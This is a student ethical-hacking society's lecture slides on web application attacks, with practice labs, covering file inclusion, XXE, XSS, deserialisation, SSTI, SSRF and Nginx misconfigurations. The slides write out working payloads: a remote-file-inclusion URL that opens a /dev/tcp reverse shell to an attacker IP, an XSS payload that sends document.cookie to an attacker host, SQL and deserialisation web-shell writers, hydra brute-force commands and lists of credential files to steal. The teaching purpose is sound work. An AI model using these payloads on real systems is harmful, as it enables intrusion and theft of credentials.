Ethical Student Hackers

Advanced(ish) Web Application Hacking

The Legal Bit

- The skills taught in these sessions allow identification and exploitation of security vulnerabilities in systems. We strive to give you a place to practice legally, and can point you to other places to practice. These skills should not be used on systems where you do not have explicit permission from the owner of the system. It is VERY easy to end up in breach of relevant laws, and we can accept no responsibility for anything you do with the skills learnt here.

- If we have reason to believe that you are utilising these skills against systems where you are not authorised you will be banned from our events, and if necessary the relevant authorities will be alerted.

- Remember, if you have any doubts as to if something is legal or authorised, just don't do it until you are able to confirm you are allowed to.

Code of Conduct

- Before proceeding past this point you must read and agree to our Code of Conduct - this is a requirement from the University for us to operate as a society.
- If you have any doubts or need anything clarified, please ask a member of the committee.
- Breaching the Code of Conduct = immediate ejection and further consequences.
- Code of Conduct can be found at https://shefesh.com/downloads/SESH%20Code%20of%20Conduct.pdf

The Goal of this Lecture

What are we trying to achieve?

- Explore more of the web hacking methodology
- Show you some more techniques beyond just XSS + SQLi
- Give you some examples that are more relevant to recent web vulnerability research (OWASP Top Ten, recent CVEs)
- Explore common web application infrastructure
- Point you towards further resources for learning more deeply about web app hacking, and lists of techniques and bypasses

What can we *not* do?

- Tell you absolutely everything about web application hacking
- Give you a perfect intuition for discovering web app vulnerabilities - this requires a bit of creative thinking!
- Teach you absolutely every defence bypass known to the Cybersecurity community

Web Hacking Methodology - A Recap

Information Gathering

- Stack Enumeration: what technology is being used?
  - Server headers: is it being served by Nginx? Apache? Werkzeug? Express?
  - What technologies do we expect to see? PHP? ASP? Do routes lack file extensions, suggesting a Rust/Python application? Is it an Electron application?
  - Are there custom Javascript resources? What libraries are imported?
- Resource Discovery with Gobuster/Feroxbuster/Wfuzz
- Subdomain Discovery: use gobuster vhost -u [URL] -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt OR wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.example.com" --hc 400,403 http://example.com
- Adjacent Services
  - APIs - fuzz endpoints with bad data, look for common parameter names
  - Requests out to other services (Network Tab, Burp)
- Content Security Policies - How to detect them?
- wpscan to enumerate users and plugins, even bruteforce logins!

Web Hacking Methodology - A Recap

Look for an entry point

- Enumerate ALL user inputs!
  - Can you register a user with an SSTI string for a username? Can you add an XSS payload to your user agent, and trigger an event that gets logged by admins?
  - Sometimes the least obvious fields are the least protected...
- Identify a target
  - Are you looking to steal an administrator cookie?
  - Are you looking for Remote Code Execution (RCE)?
  - Is there a page with an IP restriction you'd like to see?
- Can you leak some source code?
  - Provoking error messages can show errors if badly handled in PHP, .NET, Flask in Debug mode
  - Is there a .git folder on the site? Download it with git-dumper [URL] output-dir/
- Weak Passwords are still a concern - are there defaults still in place?
  - Brute Force: hydra -L [USERS] -P [PASSWORDS] -f 10.10.10.64 http-get [PATH]
- If you find a framework or web software version, are there any CVEs?
  - searchsploit [FRAMEWORK]

Popping Shells - Recap

Our goal with web hacking is often to get **Remote Code Execution** (RCE)

Depending on the underlying language (and OS), different methods and complications may arise

Plenty of reverse shell payloads on payloadsallthethings and revshells.com - you may be able to use a one-liner, or may have to rely on a larger file that you upload/force the server to download

Methods: **File Upload** (need a method to trigger the code), **Command Injection** vulnerabilities (see Dynstr on HTB), Arbitrary File Write - and indirectly using file reading to grab SSH keys, passwords, and more

Via SQL Injection: `SELECT "<?php echo(system($_GET['cmd'])); ?>" into OUTFILE '/var/www/html/wordpress/shell.php'`

Cheekier methods: Deserialisation and SSTI, which we'll see later - there's also browser exploitation, but that's beyond the scope of this session. Some frameworks, such as BeEF, can automate this however.

Debugging:

- Firewall rules
- Blocked PHP functions
- Try both ASP/ASPX
- Use alternate commands such as wget/curl, and sh/bash

Technique - File Upload

Via Site Functionality

- Profile Images are a common vector
- Sharing Files in chats etc
- Often have to guess path of upload - enumeration is key!
- May need full path of web application to trigger uploaded files: often /var/www/html or C:\inetpub\wwwroot

Via Adjacent Services

- E.g. FTP + SMB linked to directory: more common in older applications, such as old IIS servers, where the web application is served out of a directory linked to a file server
- May even chain with another vulnerability to force an admin to download a file via SSRF

Bypass Tips and Tricks

- Null Byte before file extension: upload.php%00.png
- Magic Bytes at start of file to identify it as a different type (see Magic on HTB)
- Change Content-Type header in Burp, e.g. to image/png

Technique - File Inclusion

Recap - Local File Inclusion is a vulnerability gaining its name from the php include function

- LFI seems similar to directory traversal on the surface, where files *outside* the webserver directory can be accessed
- The difference is, PHP code is *executed*
- Files to yoink: /etc/apache2/sites-enabled/000-default.conf, /etc/passwd, phpinfo.php, .env, /home/user/.ssh/id_rsa, /proc/net/tcp OR C:/ProgramFiles/xampp/apache/conf/httpd.conf

LFI -> RCE

- Log poisoning (<?php ?> in User-Agent header, load /var/log/httpd-access.log
- Reading SSH Keys -> SSH Access
- Trigger an uploaded file with a reverse shell
- PHP Wrappers: php://input/<?php system('id'); ?>

LFI -> Source Code Disclosure

- PHP code isn't displayed, it's just *executed* - this is good for getting RCE, but not for viewing source code
- Use PHP filters to encode the data we receive in base64 format, and decode it later: php://filter/convert.base64-encode/resource=file

Technique - File Inclusion

Remote File Inclusion

- If include can be *anything*, you can pass it a URL… and host a PHP reverse shell
- http://[URL]?vulnerable=http://[ATTACKER_IP]/phpcmd.php%00&cmd=bash%20-i%20%3E&%20/dev/tcp/192.168.119.130/4444%200%3E&1
- Again, less common nowadays - but still relevant, especially if you are looking for an OSCP certification or similar… It is also good to know about, even as just a lesson in what *not* to do when creating a web framework
- Requires allow_url_include to be On in php.ini (deprecated since PHP 7.4)

Disallowed Functions

- Can be defined in php.ini with disable_functions=
- Enumerate with phpinfo() function or by reading php.ini
- It's possible to get creative with your PHP function calls

Techniques - XXE

XML External Entity Injection (XXE)

- Can occur whenever unsanitised XML can be supplied
- XML can tell the server to retrieve an *external* entity

Can lead to:

- RCE
- File Read
- SSRF (see later)

Huge list of payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

Practice: BountyHunter (HTB) + TryHackMe | Mustacchio

Read a File:

```
<?xml version="1.0"
encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM
"file:///etc/passwd" >]><foo>&xxe;</foo>
```

Or some PHP:

```
<?xml  version="1.0"
encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe
SYSTEM
"php://filter/convert.base64-encode/res
ource=index.php"> ]>
<data>
<field>Title &xxe; title</field>
</data>
```

Techniques - XSS (Recap)

Basics: injecting malicious code (usually javascript) into a webpage

- Can then be used to perform **client-side** attacks (i.e. targeting users)
- Can be DOM (page functionality modifies DOM, client side JS), Reflected (passed in request, e.g. URL), or Stored (in a database)

Vectors (basically all due to unsanitised user input):

- User input rendered on page
- Attribute injection
- CVEs (e.g. in react-marked-markdown)
- User Agent strings in logs
- Prototype Pollution (tampering with methods via JS inheritance)

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

https://portswigger.net/web-security/cross-site-scripting/preventing

XSS Payloads

Steal a cookie! (document.cookie)

- Can do it in tricky ways - e.g. <img src=x onerror="this.src='http://[ATTACKER_IP]/?'+document.cookie; this.removeAttribute('onerror');">
- HTTPOnly protects against this - use it!

Run more Javascript! Host a script, grab it: <script src=...> - good for payloads that change often

CSRF (client-side)! E.g.Have an admin perform an action, such as creating a new account

BeEF! Host and download hook.js, translate to browser exploitation and network enumeration

Blind XSS: can enumerate the page you are injecting into if you can't see it

- <script>html = btoa(document.documentElement.outerHTML); fetch('http://localhost:8001/?page=' + html).then(response => response.json()).then(data => console.log(data));</script>

XSS Defences and Bypasses

Sanitisation - if implemented badly, can be bypassed

- Templating languages and web frameworks often do this by default e.g. Jinja, Laravel
- Filters can be bypassed - if not applied recursively, can build payloads that evaluate to something malicious once sanitised, or use encodings or malformed tags (e.g. <IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>)
- https://portswigger.net/support/xss-defensive-filters

You may be injecting *into* another element, e.g. an attribute - be aware of the *context* of your injection, and try to match/close tags - see https://portswigger.net/support/exploiting-xss-injecting-into-tag-attributes

Content Security Policies

- Specify which sources a page can execute Javascript from
- Hashes may also be used to check the integrity of a script
- Can often be bypassed e.g. if there is a wildcard in the policy, or a file upload is possible
- https://portswigger.net/web-security/cross-site-scripting/content-security-policy
- https://csp-evaluator.withgoogle.com/

XSS Practical!

URL: http://18.135.27.140

Login Details: sesh:SESHWebHackingPassword123

Tasks

- Try Task 1 (a simple XSS) to hijack my cookie and access /admin.php
- Try Task 2, where we have some defences
- Use http://beeceptor.com as an endpoint for receiving cookies

The code can be fixed using htmlspecialchars() - see this in /fixed-reviews.php

If you'd rather deploy it yourself, or play at home, you can download the code here: https://github.com/Twigonometry/Web-Hacking-Demo

Technique - Insecure Deserialisation

What is it? A method of tampering with the output class or variables when a language *deserialises* data

- Data is often stored in a serialised format
- Some languages can *deserialise* this data and convert it into an object
- Often classes have functions that are called when objects are deserialised, such as __wakeup() and __destruct()
- Some functions unsafely parse data, allowing the class to be changed: JsonConvert.DeserializeObject(json, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto });
- Changing a class can allow us to access *different* wakeup methods to what was expected
- With full control over the serialised data, we can control variables that are usually set server-side

What languages does it happen in? PHP, .NET, Python (with Pickle), Java, Ruby, more?

Technique - Insecure Deserialisation

What can happen?

- It all depends what classes and methods you have access to
- It usually helps to have access to the source code to identify dangerous functions
- In PHP, if you can freely submit a serialised object you can arbitrarily set variables inside the object: O:10:"SignupForm":2:{s:7:"outfile";s:7:"cmd.php";s:15:"username_string";s:29:"<?php system($_GET['cmd']);?>";}
- For the above, we define an object of class SignupForm, and several variables inside it - this writes a shell to an outfile, abusing file_put_contents() in a __destruct() function

Generating payloads: ysoserial is a useful tool forJava payloads, and its counterpart for .NET payloads

High profile attacks: Laravel CVE

Demo: https://github.com/Twigonometry/Deserialisation-Demo

Technique - SSTI

Server-Side Template Injection (SSTI)

- If a web application *concatenates* user data instead of escaping it, malicious code can be injected
- This can often lead to RCE, especially when templating languages have access to system functions
- Examples include:
  - `$output = $twig->render("Dear " . $_GET['name']);` (PHP + Twig)
  - `render_template_string('Data' + variable)` (Flask)
- Exploitation requires identifying the language being used

Depending on the language, payloads may differ:

- PHP: use your classic `system()` call
- In Ruby: `<%= system('cat /etc/passwd') %>`
- In Tornado Python: `{% import os %}{{os.system('whoami')}}`

Space may be constricted - small payloads include leaking `{{config}}`

Some cases are more complicated, and may require sandbox escapes or abusing inheritance

Technique - SSRF

Server-Side Request Forgery (SSRF)

- As opposed to CSRF, where clients (human users) are targeted, SSRF targets the *server*
- This is useful when the server is at a higher level of trust than an end user, or IPs are restricted
- You may be able to access internal-only services, which can lead to **more** vulnerabilities!

The delivery method varies, so there isn't a good standard example - but look for site functionality that makes HTTP requests to a source of your choice

- This may be hidden behind other functionality, such as verifying a URL or doing a health check

Sometimes IP restrictions may be in place to mitigate this attack - these can often be bypassed with shortened IPs such as 127.1 or [::1] on IPv6

You may need to combine this technique with authentication using tokens etc - this highlights the importance of good recon, and being able to decode JWT tokens etc

Nginx Server Misconfigurations

Finally, there are a good few tricks you can use to abuse badly configured Nginx Servers

- Missing Root Location: defaults to /etc/nginx, so a request to /nginx.conf allows reading configuration file
- Off By Slash Vulnerability: allows directory traversal due to how the parser interprets a URL
  - No trailing slash in location /api { proxy_pass http://server/v1/ }
  - Request to http://server/api/path normalised to http://server/v1//path
  - A request to http://server/api../maliciouspath normalised to http://server/v1/../maliciouspath
  - A lot of this research was done by Orange Tsai - check them out on twitter
- Even more errors here: https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/

If you can leak the Nginx config, you can check for these!

You can also enumerate other local web servers/subdomains if you leak apache and nginx configs

Source Code Exposure

In error messages (especially in debug mode)

In git folders (can be stolen with git-dumper)

In adjacent git instances (such as BitBucket)

Using LFI or Directory Traversals

As you can see, there's an *awful lot* to think about with Web Hacking and it's easy to miss things - You need a good methodology to find things beyond the obvious!

What to look for in source code?

- Logic flaws
- Unsanitised dataflows, such as un-preparedSQL statements
- Insecure comparisons (such as == in PHP)
- Insecure rendering of user input (such as the Markup() function in Flask, or the {{x|safe}} operator in Jinja)
- render_template_string
- Routes! (e.g. in an MVC structure, to help you understand the structure
- Secrets, such as tokens for signing cookies
- Insecure deserialisations
- Badly written filters on IP restrictions
- Nginx misconfigurations
- ...lots more

Final Practical - Sandbox

There's a few vulnerabilities to find in whatever time we have left

- SSRF
- Deserialisation (PHP)
    - Find and abuse a Directory Traversal to examine the source code
- LFI

Feel free to borrow the code and practice another time:
https://github.com/Twigonometry/Web-Hacking-Demo

More Resources

LFI

- https://www.thehacker.recipes/web/inputs/file-inclusion#lfi-to-rce-via-php-wrappers
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt

More XSS Filter Evasion

- https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

Upcoming Sessions

What's up next?
www.shefesh.com/sessions

Next week (28/03/21): How to play a CTF

CTF! 1st - 3rd April

- Sign up + details: https://shefesh.com/grocerytf

Easter Break: Potential HTB session, TBC

AGM After Easter

- Sign up: https://forms.gle/uR3FVHCfWXpoC8ZR9

Any Questions?

www.shefesh.com

Thanks for coming!